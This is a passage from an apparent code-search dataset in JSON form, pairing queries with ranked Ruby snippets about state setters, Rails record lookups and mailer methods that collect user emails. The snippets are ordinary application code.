"text": "def set_state(key, value)\n computation.set_state(key, value)\n end",
"title": ""
},
{
"docid": "f81a4e2dc92bd3d424250c3ea4818be8",
"score": "0.63748074",
"text": "def define_state_accessor\n name = self.name\n owner_class.validates_each(attribute) do |record, attr, value|\n machine = record.class.state_machine(name)\n machine.invalidate(record, :state, :invalid) unless machine.states.match(record)\n end\n end",
"title": ""
},
{
"docid": "93d518faf44fa08112712d49095734e3",
"score": "0.63582766",
"text": "def state=(value)\n client.put(path(\"/state\"), {:transitiontime => self.transitiontime}.merge(value))\n self.data['state'].merge!(value) # TODO: always refresh local state from hub?\n end",
"title": ""
},
{
"docid": "50eabf64cf97a97b23a585d7ffbb047c",
"score": "0.6212962",
"text": "def set_value( value )\n @value = value \n end",
"title": ""
},
{
"docid": "3a3d926b8f0adadcc01d5d5ac2aa3354",
"score": "0.62012774",
"text": "def state= new_state\n @state = new_state\n end",
"title": ""
},
{
"docid": "5bc5861b505af992fb66cf0f270d8832",
"score": "0.6183309",
"text": "def set_value new_value\n if validate_value new_value\n @value = new_value\n end\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f967659a2ddbb2bcd3e842750e8a4b43",
"score": "0.61735284",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "77cbf7cd6d80f03652597905d30c7de5",
"score": "0.6164166",
"text": "def initial_state=(new_initial_state); end",
"title": ""
},
{
"docid": "2b157b96fc51fca4989416c18574d534",
"score": "0.61529034",
"text": "def set(value)\n old_value = refresh(value)\n handle_event :type => :change, :old_value => old_value, :value => @value if old_value != @value\n old_value\n end",
"title": ""
},
{
"docid": "661cd8f3a2ed30c60560148a77a0d9a3",
"score": "0.61450654",
"text": "def state=(new_state)\n @state = new_state\n refresh\n end",
"title": ""
},
{
"docid": "76472afb4a853ddb657de49e5c303f71",
"score": "0.6120171",
"text": "def define_state_accessor; end",
"title": ""
},
{
"docid": "f8a5f719cf45e4b08d819b54a941b9ef",
"score": "0.61086553",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "f8a5f719cf45e4b08d819b54a941b9ef",
"score": "0.61086553",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "61aed5af50b9dde8437801f70bde4250",
"score": "0.6056014",
"text": "def set_state\n @state = State.find(params[:id])\n end",
"title": ""
},
{
"docid": "99cdade334375ecea72e6b48a09931cc",
"score": "0.6054805",
"text": "def set(value)\n @value = value\n #info(@name, ' = ', value.inspect, '(type:', value.class,')')\n info('value = ', value.inspect, ' (',value.class,')')\n @changeListeners.each { |l|\n l.call(value)\n }\n TraceState.property(@name, :set, {'value' => value.inspect})\n end",
"title": ""
},
{
"docid": "0fd2be2fccc3f03daa925bc82d3f0daf",
"score": "0.60529274",
"text": "def set_state\n @state = State.friendly.find(params[:id])\n end",
"title": ""
},
{
"docid": "d508f29eea085d040ff4c00efa72b4ff",
"score": "0.604391",
"text": "def set_attribute(name, value); end",
"title": ""
},
{
"docid": "1dceb79e7651a4da5477ee44dc7198b4",
"score": "0.6038004",
"text": "def set_next_for(object , value)\n object.send(\"_set_#{attribute_name}\".to_sym , value)\n end",
"title": ""
},
{
"docid": "b574151a681288d8ee1d81db6ab0bebc",
"score": "0.6037646",
"text": "def set(value)\n @value = value\n #info(@name, ' = ', value.inspect, '(type:', value.class,')')\n info(\"#{@name} = #{value.inspect} (#{value.class})\")\n @changeListeners.each { |l|\n l.call(value)\n }\n TraceState.property(@name, :set, {'value' => value.inspect})\n end",
"title": ""
},
{
"docid": "3beefb1e50317449640ae53e84527b5a",
"score": "0.60273427",
"text": "def setValue(value)\n @value = value\n end",
"title": ""
},
{
"docid": "2571dffd56263ca4452374fde6ca9850",
"score": "0.6001362",
"text": "def update_state(record, bang)\n record.send(\"#{machine.attribute}=\", @options[:to])\n bang ? record.save! : record.save\n end",
"title": ""
},
{
"docid": "3a389600e54888ee39138d2cd969acda",
"score": "0.60011744",
"text": "def assign_state(state)\n @state = state\n end",
"title": ""
},
{
"docid": "f26f8de84cb593df82ff2191f7381766",
"score": "0.5992632",
"text": "def set_state(s)\n @state = s\n send(s)\n rescue => e\n handle_error(e)\n end",
"title": ""
},
{
"docid": "06037e8d057f4eee0d87f2a9f2f8fa20",
"score": "0.5975248",
"text": "def value=(new_value)\n\t\t@value = new_value\n\t\tinform_obeservers\n\tend",
"title": ""
},
{
"docid": "e7bf1342d60b706cfe93a3907ef159bb",
"score": "0.5972334",
"text": "def state_machine(&blk)\n Builder.new(self).build(&blk)\n end",
"title": ""
},
{
"docid": "2e9bb3fed96c5d881c18fc7acca701c5",
"score": "0.5957605",
"text": "def set(object, value); end",
"title": ""
},
{
"docid": "7ea9fe494935fe9d5d14bad18969cc97",
"score": "0.5941667",
"text": "def state=(new_state)\n self.hmd_states.build(state: new_state)\n self.current_state = new_state.to_sym\n end",
"title": ""
},
{
"docid": "28d0bbd17a7da3d8e77e8876fe5402fe",
"score": "0.5923187",
"text": "def state=(s)\n @flows.each_value do |f|\n f.state = s\n end\n end",
"title": ""
},
{
"docid": "309fc523f596a0313e9f7231307d77cd",
"score": "0.59027714",
"text": "def set_state(state)\n @state = state\n self[:action] = state\n @health = @health.clamp(0, 100)\n trigger 'change'\n send_status_notification unless dead?\n save\n end",
"title": ""
},
{
"docid": "33dfa94534f22022059ab8a94deda800",
"score": "0.58995426",
"text": "def set_start(v)\nadd_state(v)\n@start = v\nend",
"title": ""
},
{
"docid": "1a253ef916c19948b3351da08f8ecede",
"score": "0.5833116",
"text": "def setFSMVariable _obj, _args\n \"_obj setFSMVariable _args;\" \n end",
"title": ""
},
{
"docid": "fe61adf3744b2b94fde27db3e4c0cb10",
"score": "0.58222896",
"text": "def set_value(value)\n @value = value\n end",
"title": ""
},
{
"docid": "0bfb06af1b48a4f6a76be1566c13c2c8",
"score": "0.58165765",
"text": "def define_state_initializer\n @instance_helper_module.class_eval <<-end_eval, __FILE__, __LINE__\n # Hooks in to attribute initialization to set the states *prior*\n # to the attributes being set\n def set(hash, *args)\n if new? && !@initialized_state_machines\n @initialized_state_machines = true\n\n ignore = setter_methods(nil, nil).map {|setter| setter.chop.to_sym} & (hash ? hash.keys.map {|attribute| attribute.to_sym} : [])\n initialize_state_machines(:dynamic => false, :ignore => ignore)\n result = super\n initialize_state_machines(:dynamic => true, :ignore => ignore)\n result\n else\n super\n end\n end\n end_eval\n end",
"title": ""
},
{
"docid": "f26f52f213b903b4ab93494ec6d91655",
"score": "0.5804225",
"text": "def current_state=(value)\n value = infer_current_state(value)\n return unless value\n \n raise ArgumentError, \"Can only set the state to an available state, not #{value}\" unless\n graph_states.include?(value)\n \n @repository << @current_state if @current_state\n @current_state = value\n end",
"title": ""
},
{
"docid": "05c2df3b190f30d067fe3a3b34a8efc1",
"score": "0.57971346",
"text": "def value=(value)\n @changed = true if value != @value\n @value = value\n end",
"title": ""
},
{
"docid": "d43ca0fa1defbecac82e1a8fd79376f1",
"score": "0.5795308",
"text": "def set_door_state(state)\r\n\t\t@state = state\r\n\tend",
"title": ""
},
{
"docid": "023e459f29bea1c001a8b07ca56cff74",
"score": "0.5765141",
"text": "def set_state_save\n @customer = Customer.find(customer_id)\n\n Order.find(id).update_column(:state_id, @customer.state_id)\n end",
"title": ""
},
{
"docid": "6d0751885d503af815430c194344e73f",
"score": "0.5758733",
"text": "def set_value(key, value)\n unless VALID_KEY.match?(key) && VALID_VALUE.match?(value)\n OpenTelemetry.logger.debug(\"Invalid Tracestate member - #{key} : #{value}\")\n return self\n end\n\n h = Hash[@hash]\n h[key] = value\n self.class.create(h)\n end",
"title": ""
},
{
"docid": "f6eb32f4065b7a231f0f342e6f681445",
"score": "0.5758149",
"text": "def set_state_update\n @customer = Customer.find(customer_id)\n\n Order.find(id).update_column(:state_id, @customer.state_id)\n end",
"title": ""
},
{
"docid": "36b84cb424750af8876a398a500d8bb8",
"score": "0.5755076",
"text": "def set_modelstate\n @modelstate = Modelstate.find(params[:id])\n end",
"title": ""
},
{
"docid": "a7b7bb7791a1d08d4dc1662670301887",
"score": "0.574713",
"text": "def update_state(*args)\n if transition_choice?\n found_trans = machine.select_transition(name, *args)\n machine.state = found_trans.to_states.first\n else\n transitions = machine.transitions[name]\n machine.state = transitions[machine.state] || transitions[ANY_STATE] || name\n end\n end",
"title": ""
},
{
"docid": "a2bccc434085defa7162a169c8d80250",
"score": "0.5732784",
"text": "def instance_set(attribute, value)\n setter = :\"#{self.name}_#{attribute}=\"\n self.instance.send(setter, value) if instance.respond_to?(setter)\n end",
"title": ""
},
{
"docid": "9ba2e34b2774b9569613ce18c931a72f",
"score": "0.5732762",
"text": "def set_state_record\n @state_record = StateRecord.find(params[:id])\n end",
"title": ""
},
{
"docid": "edd466b8917cfedb10306c23199edf90",
"score": "0.57261914",
"text": "def set_property_state\n @property_state = PropertyState.find(params[:id])\n end",
"title": ""
},
{
"docid": "32afc943077b9f1df1e7a1c28b520b62",
"score": "0.572285",
"text": "def state(state, &block)\n @states[state.to_sym] = State.new(&block)\n end",
"title": ""
},
{
"docid": "793176bc8777f649a761d1e1bfe880eb",
"score": "0.57158965",
"text": "def machine=(new_machine); end",
"title": ""
},
{
"docid": "96dd1b325b20a4780b744de2a9035985",
"score": "0.5715557",
"text": "def set_machine_state(machine, pool, state, timeout = @timeout)\n handle_action_exceptions(__method__) do\n cmd_line = [\"setmachinestate '#{machine}' '#{pool}' '#{state}'\"]\n cmd_line << \"-timeout #{timeout}\"\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' '), timeout))\n end\n end",
"title": ""
},
{
"docid": "64165d4ea863d116acde12c399c06f6a",
"score": "0.57098687",
"text": "def state=(val); region= val; end",
"title": ""
},
{
"docid": "d247b0c14565a5608d859cd9bdae88b0",
"score": "0.5709648",
"text": "def setState(state)\n\t\t\traise \"undefined state.\\n\" if state.nil?\n\t\t\traise \"#{state} is not a Statemap.State.\\n\" unless state.is_a?(Statemap::State)\n\t\t\t@_state = state\n\t\t\tif @_debug_flag then\n\t\t\t\t@_debug_stream.puts \"ENTER STATE : %s\\n\" % @_state.getName\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "e1f242d81938f5d0379324809277f9c8",
"score": "0.5648588",
"text": "def value=(n)\n Gate.activate\n self.set(n)\n Gate.deactivate\n end",
"title": ""
},
{
"docid": "f814bd6d5741396ac71a82ccd47cff83",
"score": "0.5644991",
"text": "def set_initial_value\n @initial_value = InitialValue.find(params[:id])\n end",
"title": ""
},
{
"docid": "a594cf1a3e7f2393f35542a42ff57c71",
"score": "0.5632582",
"text": "def state=(state)\n if not STATES.include? state\n raise PreconditionError, \"Invalid game victory state.\"\n end\n super\n changed(true)\n notify_observers U_COMPLETED, state, self.currentPlayer\n if not self.state == state\n raise PostconditionError, \"State not set correctly.\"\n end\n self.state\n end",
"title": ""
},
{
"docid": "bd7b0485f9cb105e3c01651960ab44c5",
"score": "0.56319314",
"text": "def value=(value)\n @value = value\n end",
"title": ""
},
{
"docid": "2902c195ffa5706ef142501dbb8cf501",
"score": "0.5624152",
"text": "def xy=(value); self.state = { :xy => value }; end",
"title": ""
},
{
"docid": "7e1a491c8d2e3d7f77311ce02312bfed",
"score": "0.5622151",
"text": "def set_current_state\n @current_state = CurrentState.find(params[:id])\n end",
"title": ""
},
{
"docid": "87dbe3ffee020e9ff13e229d7bfafa45",
"score": "0.5621232",
"text": "def update_power_state(value)\n Puppet.debug 'Setting the power state of the virtual machine.'\n\n case value\n when :poweredOff\n vm.PowerOffVM_Task.wait_for_completion unless vm_power_state == 'poweredOff'\n when :poweredOn\n vm.PowerOnVM_Task.wait_for_completion\n when :suspended\n if @power_state == 'poweredOn'\n vm.SuspendVM_Task.wait_for_completion\n else\n raise(Puppet::Error, 'Unable to suspend the virtual machine unless in powered on state.')\n end\n when :reset\n if vm_power_state !~ /poweredOff|suspended/i\n vm.ResetVM_Task.wait_for_completion\n else\n raise(Puppet::Error, \"Unable to reset the virtual machine because the system is in #{@power_state} state.\")\n end\n end\n end",
"title": ""
},
{
"docid": "87dbe3ffee020e9ff13e229d7bfafa45",
"score": "0.5621232",
"text": "def update_power_state(value)\n Puppet.debug 'Setting the power state of the virtual machine.'\n\n case value\n when :poweredOff\n vm.PowerOffVM_Task.wait_for_completion unless vm_power_state == 'poweredOff'\n when :poweredOn\n vm.PowerOnVM_Task.wait_for_completion\n when :suspended\n if @power_state == 'poweredOn'\n vm.SuspendVM_Task.wait_for_completion\n else\n raise(Puppet::Error, 'Unable to suspend the virtual machine unless in powered on state.')\n end\n when :reset\n if vm_power_state !~ /poweredOff|suspended/i\n vm.ResetVM_Task.wait_for_completion\n else\n raise(Puppet::Error, \"Unable to reset the virtual machine because the system is in #{@power_state} state.\")\n end\n end\n end",
"title": ""
},
{
"docid": "605de7e27b6e56a83f338bb3db8c6236",
"score": "0.5617933",
"text": "def assign_state\n if self.employee_id.nil?\n self.assign_state = false\n else\n self.assign_state = true\n end \nend",
"title": ""
},
{
"docid": "e3dd1588e57b69afd19e18f062b855cb",
"score": "0.5616476",
"text": "def value=(value)\n @value = value\n @value_set = true\n end",
"title": ""
}
] |
ef6773381e8b4788bb80f1f9ab14b670
|
def test_mail emails = User.where.not(email: nil).pluck(:email) mail( to: emails, subject: 'Welcome!' ) end
|
[
{
"docid": "4740e48030a809ccfdfb2bbe4e6c0706",
"score": "0.0",
"text": "def test_mail(p,u)\n\t\temail = \"dane2522@gmail.com\"\n\t\t@purchase = p\n\t\t@user = u\n\n\t\tmail( to: email, subject: 'Welcome!' )\n\tend",
"title": ""
}
] |
[
{
"docid": "763f2720fa01c511fabdceda3cacd99f",
"score": "0.7599281",
"text": "def sendall\n $emails = User.all.pluck(:email)\n end",
"title": ""
},
{
"docid": "32708872ca7d6374ff03c6958a6d4572",
"score": "0.7395127",
"text": "def notify_user\n @users = Users.all\n @article = Article.last(3)\n emails = @users.collect(&:email).join(\", \")\n mail(to: emails, subject: \"Hi, this is a test mail.\")\n end",
"title": ""
},
{
"docid": "6b4b10206cee418de5037ed167ebc289",
"score": "0.7182985",
"text": "def users_to_email\n project.unblinded_members_for_site(site)\n .where.not(id: user_id)\n .where(emails_enabled: true)\n .select { |u| project.emails_enabled?(u) }\n end",
"title": ""
},
{
"docid": "6e0e78963092f0e444754596e26752ef",
"score": "0.713007",
"text": "def get_emails\n emails = [self.email1, self.email2, self.email3]\n emails.compact!\n emails.delete('')\n return emails\n end",
"title": ""
},
{
"docid": "41fa15b807209d79cc6f84e28d70f173",
"score": "0.71292156",
"text": "def setup_all_user_email\n emails = User.find(:all).collect { |p| p.email } \n @recipients = emails.join(',') \n @from = \"#{@admin_email}\"\n @subject = \"[#{@network_name}] \"\n @sent_on = Time.now\n end",
"title": ""
},
{
"docid": "1f30deabe65be3148335cafe7db62d83",
"score": "0.71155196",
"text": "def mail\n if(params[:user_ids] && !params[:user_ids].empty?)\n user_ids = params[:user_ids].map{ |k| k.to_i }\n\n i=0\n $emails = []\n\n all_emails = User.all.pluck(:id, :email)\n user_ids.each do |user_id|\n\n all_emails.each do|all_email|\n if all_email[0]==user_id\n $emails[i] = all_email[1]\n i=i+1\n end\n end\n end\n print $emails\nelse\n redirect_to index_path, notice: \"No user selected\"\nend\n #NotifMailer.new_notif.deliver_now\n #redirect_to index_path\nend",
"title": ""
},
{
"docid": "cd1d06dfb8fcf8b1a72ee7ed14b5d85f",
"score": "0.6956413",
"text": "def emails\n users.select(:id, :encrypted_email, :encrypted_email_iv).map(&:email)\n end",
"title": ""
},
{
"docid": "65ec29072f5f9b351db615d9cf5f8a27",
"score": "0.68863356",
"text": "def test_email(user)\n @user = user\n mail(:to => to(user.email), :subject => \"This is a test.\")\n end",
"title": ""
},
{
"docid": "06f01b15cda384f76a6bae5ad8b9c9a8",
"score": "0.6885897",
"text": "def emails\n @emails = Bixo.all.map(&:email).uniq\n end",
"title": ""
},
{
"docid": "6ba3525d268774cb10672028ee11d454",
"score": "0.6874135",
"text": "def user_emails\n emails = []\n users.each do |user|\n emails.push(user.email)\n end\n return emails\n end",
"title": ""
},
{
"docid": "ec9fe6bb74dd2fd6bc0a0bcf12aa0a79",
"score": "0.68459755",
"text": "def recipients\n notified_users.collect {|user| user.mail}\n end",
"title": ""
},
{
"docid": "91a8bbd5a984afc57fc7089359e0785c",
"score": "0.68337864",
"text": "def all_emails\r\n self.users_emailed + self.users_emailed_by\r\n end",
"title": ""
},
{
"docid": "814a48bb7cf4fb4ef5edd3989649ab77",
"score": "0.6811795",
"text": "def email_list()\n @dx.filter {|x| x.email.length > 0}\n end",
"title": ""
},
{
"docid": "384c6ca7f1c61502a42d4c21c10d49a5",
"score": "0.68099767",
"text": "def all_mails(*user_fixtures)\n user_fixtures.map{|u| users(u).email}.to_set\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6802228",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6802228",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6802228",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "0ca00b219abf1b7010e033fdef1d6f18",
"score": "0.67483073",
"text": "def emails\n if self.alert_emails.blank?\n []\n else\n self.alert_emails.split(\" \")\n end\n end",
"title": ""
},
{
"docid": "3fa81e9f1ced4c0eec1cf9f9518e90a4",
"score": "0.67444587",
"text": "def emails; end",
"title": ""
},
{
"docid": "28170786fb9b63844897880b854e6d55",
"score": "0.6743045",
"text": "def emails()\n @emails\n end",
"title": ""
},
{
"docid": "46fe2c8f943efcb31d45da7b222c432a",
"score": "0.6731209",
"text": "def emails\n @emails\n end",
"title": ""
},
{
"docid": "8e8cf5f795a9bf21ed5806df862fb6cb",
"score": "0.67153037",
"text": "def sample_email(user)\n\n @user = user\n mail(to: @user.email, subject: 'Sample Email')\n\n end",
"title": ""
},
{
"docid": "068074629da6b14f1bdaa6aa6572ef8d",
"score": "0.669906",
"text": "def recipients\n all_users.map(&:mail).flatten.sort.uniq\n end",
"title": ""
},
{
"docid": "eb189dde6ede30d032991db203bf4b8f",
"score": "0.6654555",
"text": "def email_users(users)\n users.each do |user|\n send_email(user)\n end\nend",
"title": ""
},
{
"docid": "02fc1fbf7a1ce0b8da67e16e9e3874e2",
"score": "0.66527927",
"text": "def recipients\n # project.users.select{|u| u.active? && u.notify_about?(self)}.uniq.map(&:mail)\n project.users.active.map(&:mail).compact.uniq\n end",
"title": ""
},
{
"docid": "c68243dbe0b3f8fd03063d6c2fce7cd5",
"score": "0.6636482",
"text": "def newsletter_blast(newsletter)\n @greeting = \"heres the scoop!\"\n # @id = @id\n @newsletter_name = \"new SCAPHON SCOOP is here!\"\n # @url = \"http://www.scaphon.org/newsletters\"\n @url = \"http://scaphon-rails4.herokuapp.com/newsletters\"\n @users = User.all\n @email = []\n @users.each do |user|\n @emails = @email << user.email\n end\n\n\n mail to: @emails, from: \"no_reply@scaphon.org\", subject: \"SCAPHON Scoop\"\n end",
"title": ""
},
{
"docid": "f379c629c264432bc3dc90b2a9b8798f",
"score": "0.6635109",
"text": "def emails_sent\n SimpleMailer.emails_sent\n end",
"title": ""
},
{
"docid": "6fbf4c11c37b5114b4fab6b051e24e40",
"score": "0.6619962",
"text": "def send_mails\n\t\tReminder.where(time: Time.now..(Time.now + 1.day), reminded: false).each do |r|\n\t\t\tUser.all.each do |u|\n\t\t\t\tsend_safe_mail(:to => u.email, :subject => r.title, :html_body => \"<p>Hi #{u.display_name.html_safe},</p><p>Just a quick reminder... Don't forget about this event, planned the #{ApplicationHelper.datetime_to_s(r.time)}:</p><h4>#{r.title}</h4><p>#{r.description}</p>Yours truly,<br>The BeOI Training team.\")\n\t\t\tend\n\t\t\tr.update(reminded: true)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5eae54b99cebaca87d2ea5b524376bb1",
"score": "0.66144365",
"text": "def recipients\n NotifiyUsersMailer.recipients\n end",
"title": ""
},
{
"docid": "e913b38a16b23c8bf97de2b9bb282353",
"score": "0.6604902",
"text": "def send_emails\n x = Mail.new\n x.defaults do\n delivery_method :sendmail\n end\n x do\n to 'puneet_chaturvedi@belk.com'\n from 'ada@test.lindsaar.net'\n subject 'testing sendmail'\n body 'testing sendmail'\n end\n x.deliver\n end",
"title": ""
},
{
"docid": "da8e6d03acd580aa142ccf8f6838b442",
"score": "0.65964425",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail) \n end",
"title": ""
},
{
"docid": "9be0b0c501ff00c50a5120de37202e17",
"score": "0.6587271",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "c0dedf8ec42ffc5b547cde93e3a9f751",
"score": "0.6558285",
"text": "def recipients_for_sent_mail\n ids = sent_to.split(/\\s*,\\s*/).map(&:to_i)\n if newsletter?\n Subscription.where(id: ids)\n else\n User.where(id: ids)\n end\n end",
"title": ""
},
{
"docid": "b66803d9cab46b88e521a77d33ceded9",
"score": "0.6539044",
"text": "def missing_email\n @customers = Customer.where(:email_address => nil)\n end",
"title": ""
},
{
"docid": "f27f03a25a2b203113b0379215029241",
"score": "0.65371954",
"text": "def emails\n email_list.is_a?(String) ? email_list.split(',') : nil\n end",
"title": ""
},
{
"docid": "62b2b9166b198aec23c4fda4f68276b3",
"score": "0.65208155",
"text": "def email_students\n puts \"hello world\"\n\n students = StudentProfile.all\n\n\n students.each do |student|\n student_matches = MatchedStudents.where( :student_profile_id => student.id )\n matches = student_matches.where( :student_was_emailed => false )\n\n contactable_matches = []\n non_contactable_matches = []\n\n matches.each do |match|\n match.student_was_emailed = true\n match.save\n if match.position.project_survey\n if match.position.project_survey.is_contactable\n contactable_matches << match\n else\n non_contactable_matches << match\n end#end if contactable\n end#end if position.project_survey\n end #end matches each do \n\n unless contactable_matches.empty? && non_contactable_matches.empty?\n puts \"non empty\"\n StudentMailer.students_notification(student, contactable_matches, non_contactable_matches).deliver\n end #end empty?\n \n end #end students each do\n end",
"title": ""
},
{
"docid": "e26f82907a72a79b1e6c52ed1449eead",
"score": "0.6514838",
"text": "def mail_survey!\n Founder.where.not(logged_in_at: nil).where.not(email: nil).find_each do |founder|\n query = { link: founder.history_id != nil, email: founder.email }\n BulkMailer.nps_survey_email(founder, 'oDrLgx', \"VCWiz Feedback - I'll buy you dinner!\", query).deliver_later\n end\nend",
"title": ""
},
{
"docid": "967413135b86c6d184852eb5aa130c9d",
"score": "0.6513276",
"text": "def admin_feedback_reminder(feedbacks)\n subject = 'List of Overdue Feedback' \n @feedbacks = feedbacks\n mail(to: (User.admins + User.partner_staff).uniq.pluck(:email), subject: subject)\n end",
"title": ""
},
{
"docid": "3c94281b6c2868e11f35d55fd5d90b4c",
"score": "0.6512247",
"text": "def subscriber_emails\n # TODO: for now, just email the poster\n job.user.email\n\n # TODO: add preferences to these people\n # TODO: condense faculty -> users\n## emales = job.faculties.collect(&:email)\n## emales << user.email\n## emales\n end",
"title": ""
},
{
"docid": "3c94281b6c2868e11f35d55fd5d90b4c",
"score": "0.6512247",
"text": "def subscriber_emails\n # TODO: for now, just email the poster\n job.user.email\n\n # TODO: add preferences to these people\n # TODO: condense faculty -> users\n## emales = job.faculties.collect(&:email)\n## emales << user.email\n## emales\n end",
"title": ""
},
{
"docid": "3812c70383aec67f86b9983dfb0e9814",
"score": "0.65114427",
"text": "def emails_send_to\n [email, cc.presence].compact.to_sentence\n end",
"title": ""
},
{
"docid": "a2c3d5b177d611285a06d17645cbfbb4",
"score": "0.6499241",
"text": "def send_mail\n name = \"\"\n users = []\n\n # Filter using criteria\n case params[:choice]\n\n when \"All\" # Notify all users\n users = User.all\n\n when \"Filter\" # Notify users based on criteria\n all_users = User.all\n genders = all_users.pluck(:gender).uniq\n ages = all_users.pluck(:age).uniq\n locations = all_users.pluck(:location).uniq\n\n # Gender\n if params[:gender].present?\n genders = [params[:gender].to_i]\n end\n\n # Age\n if params[:age].present? or params[:age_group].present?\n if params[:age].present?\n ages = [params[:age].to_i]\n else\n case params[:age_group].to_i\n when 1\n ages = ages.select{ |age| age < 11 }\n when 2\n ages = ages.select{ |age| age >= 11 and age < 18 }\n when 3\n ages = ages.select{ |age| age >= 18 and age < 25 }\n when 4\n ages = ages.select{ |age| age >= 25 and age <= 40 }\n else\n ages = ages.select{ |age| age > 40 }\n end\n end\n end\n\n # Location\n if params[:location].present?\n locations &= [params[:location]]\n end\n\n else # Notify single user\n name = params[:name]\n end\n\n if name.present?\n users << User.find_by(name: name)\n elsif !users.present?\n users = User.where(age: ages, location: locations, gender: genders)\n end\n\n # Call mailer\n content = { :subject => params[:subject], :body => params[:content] }\n users = users.reject{ |user| user.email == ENV[\"gmail_username\"] }\n users.each do |user|\n NotifMailer.notification(user, content, User.find_admin).deliver\n end\n\n redirect_to admin_users_path, notice: \"#{users.count} users notified\"\n end",
"title": ""
},
{
"docid": "3ebe8c15e845af90be72236d785d8abf",
"score": "0.6494941",
"text": "def all_mail\n (active_emails + obsolete_emails + (id == 'notinavail' ? [] : [\"#{id}@apache.org\"])).uniq\n end",
"title": ""
},
{
"docid": "e2cfeb5d290753997bce1bc68f9b91e1",
"score": "0.6491847",
"text": "def subscriber_emails\r\n # TODO: for now, just email the poster\r\n job.user.email\r\n\r\n # TODO: add preferences to these people\r\n # TODO: condense faculty -> users\r\n## emales = job.faculties.collect(&:email)\r\n## emales << user.email\r\n## emales\r\n end",
"title": ""
},
{
"docid": "46cf7214b95f847674eeb335e8a3b985",
"score": "0.64909476",
"text": "def email\n emails.try(:first).try(:string)\n end",
"title": ""
},
{
"docid": "f6455bedeacee35ca837677f222167bb",
"score": "0.6486118",
"text": "def notify_users! \n for user in restaurant_user_without_answers\n unless user.nil? # TODO Identify why giving NoMethodError: undefined method `cloudmail_id' for nil:NilClass\n UserMailer.deliver_answerable_message_notification(self, user)\n end \n end\n end",
"title": ""
},
{
"docid": "bea8c3807c594427c78238670c99428c",
"score": "0.64838815",
"text": "def emails\n account['emails'] if setup?\n end",
"title": ""
},
{
"docid": "176bbebe33c38f3d2f8cb1288dfa1d10",
"score": "0.6473255",
"text": "def send_email_to(user)\n mail = mail(user)\n mail.send_message\nend",
"title": ""
},
{
"docid": "7843558e7a658285ded641a31cb29073",
"score": "0.6456673",
"text": "def index\n @my_mailers = MyMailer.get_mailers\n end",
"title": ""
},
{
"docid": "a5fb38b6e23c76d3cf865ed3d9e9b952",
"score": "0.6450812",
"text": "def emails\n raise AuthenticationRequired, \"To view emails, you must be authenticated\" if Api.api.read_only?\n get(\"/user/emails\")['emails']\n end",
"title": ""
},
{
"docid": "e19a47acd83dcffebd6c0961997bf33a",
"score": "0.64470506",
"text": "def send_mails\n Mailer.deliver_invitation(self, recipient_email)\n unless recipients.blank?\n recipients.each do |email|\n Mailer.deliver_invitation(self, email)\n end\n end\n end",
"title": ""
},
{
"docid": "61abb8584ae89482d0ea08b99b4f2207",
"score": "0.64353615",
"text": "def default_email_recipients\n []\n end",
"title": ""
},
{
"docid": "15f656741f3e677fb117ad5fb123bf89",
"score": "0.643491",
"text": "def emails\n\t\tif email\n\t\t\temails_responsables << \", #{email}\"\n\t\telse\n\t\t\temails_responsables\n\t\tend\n\tend",
"title": ""
},
{
"docid": "3bdd44eccfe968f6afb3662676d69524",
"score": "0.64282656",
"text": "def get_user_emails\n emails = Hash.new\n if !person.blank?\n user_contactinfos = person.roles.collect{ |r| r.role_contactinfos.collect{|rc| rc.contactinfo }}.flatten.compact\n user_contactinfos.each do |c|\n emails.store(c.email_1, c.email_1) unless c.email_1.blank?\n emails.store(c.email_2, c.email_2) unless c.email_2.blank?\n emails.store(c.email_3, c.email_3) unless c.email_3.blank?\n end\n end\n logger.debug \"******** LOGIN: GET USER EMAILS array: #{emails} ***\"\n return emails\n end",
"title": ""
},
{
"docid": "66d71245b502220433b54b23d0814a42",
"score": "0.6421593",
"text": "def mail_to\n email\n end",
"title": ""
},
{
"docid": "d4bb2447321b9619310419d72afa2337",
"score": "0.6421137",
